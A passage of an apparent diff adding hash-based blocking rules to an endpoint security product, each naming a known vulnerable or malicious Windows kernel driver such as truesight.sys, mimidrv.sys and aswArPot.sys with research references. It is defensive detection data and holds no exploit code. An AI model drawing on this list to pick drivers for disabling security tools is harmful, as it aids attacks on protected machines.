+  "hl_testing_start_time": "2026-03-23T11:45:31.475489Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cffe0eaa5a3dc73494239a44041bfe804bc2756f5f6466fb55d23fb79cdc8e37",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4defc3fb-9847-55c8-9de3-5c17d89c8bbb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611393Z",
+  "creation_date": "2026-03-23T11:45:29.611395Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b2a3b74127c7ecf095e0fe5a65af31b9701d2ba6dc2a4d87882de65d84842c0",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4df13330-7987-558d-94c3-e8f399123975",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143218Z",
+  "creation_date": "2026-03-23T11:45:31.143220Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143226Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "53617059a1ca7a85c563f86f8102fab3faa7dcb24aad2f2e7da80b8295a02c45",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4df67c07-62fb-5b61-b6af-cf43e08fc5f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468638Z",
+  "creation_date": "2026-03-23T11:45:30.468641Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468650Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "30f9aca036adbcc15cace326e042ed3590f00045f66982afbf569d8fd9b6747b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e0049ee-4caf-52b9-ac43-53e05c2bd6f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145090Z",
+  "creation_date": "2026-03-23T11:45:31.145092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "964f39b115ba8b3a0b8fb73427485c9ec308d33d50c7f07738257a7401c533d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e01b31f-8ef9-55ef-9458-971bfc126a35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616470Z",
+  "creation_date": "2026-03-23T11:45:29.616472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f06fdfe50ebc8d1d2daf5811b66288563f26a09a2ec9c2a21e2a71ff19756062",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e06ed7c-c8c1-5f24-89d9-f1842a1144c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826543Z",
+  "creation_date": "2026-03-23T11:45:31.826545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826551Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96e3b89240889b23351e68525bc12d9c5a9150bf8edece3debc58b4917a648d9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e0902b8-376c-5d1e-94d9-8b0f2cfd7b9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454448Z",
+  "creation_date": "2026-03-23T11:45:30.454452Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a1dfe962c0c714c35827f7cf19bbca693bb1e769037b06b5f86d7f33b723f72",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e0fd229-e5b0-5467-8ca7-c70fd462e0a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479530Z",
+  "creation_date": "2026-03-23T11:45:30.479532Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b06dad9821beef3442cd9e775228baa56582a3a85c9d178693f3cf236623de17",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e2015db-1aec-53dd-bea5-1587cd5ad482",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611113Z",
+  "creation_date": "2026-03-23T11:45:29.611115Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611120Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff0857f3e3f4e6248e169e9df3fdf4dc571bc65ec731cf11be2532d9405d95d2",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e366dd1-0545-5d14-b9af-bd60eb5379b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151304Z",
+  "creation_date": "2026-03-23T11:45:31.151307Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151346Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5464daff8ea291c07bbfeeedd186ef81b5518239e9201c75580d94804b3bfe89",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e40be56-e33d-523b-ac2d-7ca46452cd7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968631Z",
+  "creation_date": "2026-03-23T11:45:29.968633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "608b352bef3e56480ede69c1641af11e5fac88e04e4cd776a9c5ae029a286b72",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e521e0b-5950-5522-9046-c96f29c1ad0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826497Z",
+  "creation_date": "2026-03-23T11:45:30.826499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826504Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3dde98fdf64982a6272ac0e91cfa5d98b0aa7bb856338de84fa7c5e2c44471ba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e56aa98-3812-53ce-9d40-b10dd4657ed8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617115Z",
+  "creation_date": "2026-03-23T11:45:29.617117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617122Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4e850e7847499e7d4c2754f8a4973fc5b4adeb728e1e142d1d35d519edf3274",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e5bed66-f133-5a85-988b-1f7be3a339e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494275Z",
+  "creation_date": "2026-03-23T11:45:31.494278Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494287Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "baf9a9d5cf80c5ecc293acb7655b654e943bd00aefc2afe0b805183be6d8a211",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e5c5f9c-b694-5dc6-8172-961780824a95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829540Z",
+  "creation_date": "2026-03-23T11:45:31.829542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "013d03802f367cd8c8d45590bb27d01672d91808b157611f687ac603be778dcc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e5f6ef4-aded-5b93-9f80-00f6384bc5e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827035Z",
+  "creation_date": "2026-03-23T11:45:30.827037Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827042Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d31de75c30d650de31bfeb5748f7981960672aa2fc26c8b49ff02c75d1446cc2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e628a5e-5f60-5e77-b938-14bceb58853c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977469Z",
+  "creation_date": "2026-03-23T11:45:29.977471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977480Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "000547560fea0dd4b477eb28bf781ea67bf83c748945ce8923f90fdd14eb7a4b",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e72d7e2-b53d-59b2-b3f0-fe421468eb51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621829Z",
+  "creation_date": "2026-03-23T11:45:29.621831Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621836Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "739c11fdb8673ab5b78f1a874daf5ba3faddb7910a6d4e0cc49abd8b8537333f",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e7abd0d-7e89-52a7-9e12-99a66349cb11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617833Z",
+  "creation_date": "2026-03-23T11:45:29.617835Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617840Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a899b659b08fbae30b182443be8ffb6a6471c1d0497b52293061754886a937a3",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e7d5263-a185-5503-8be8-ff7bdf445e25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481922Z",
+  "creation_date": "2026-03-23T11:45:31.481926Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b707f011d2e9a0d68513e7190ee788114fae3abacaf81ffbd6c187a71ab8d100",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e80d689-e7f2-56ae-8e0c-0543046db358",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500283Z",
+  "creation_date": "2026-03-23T11:45:31.500286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d86fead83d85832f0fa80d7b5c752dd3742b2ac3573cbaf89d3e2f2e58fdbe3e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "4e844007-3826-5800-9e31-3e204762f4de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609576Z",
+  "creation_date": "2026-03-23T11:45:29.609577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
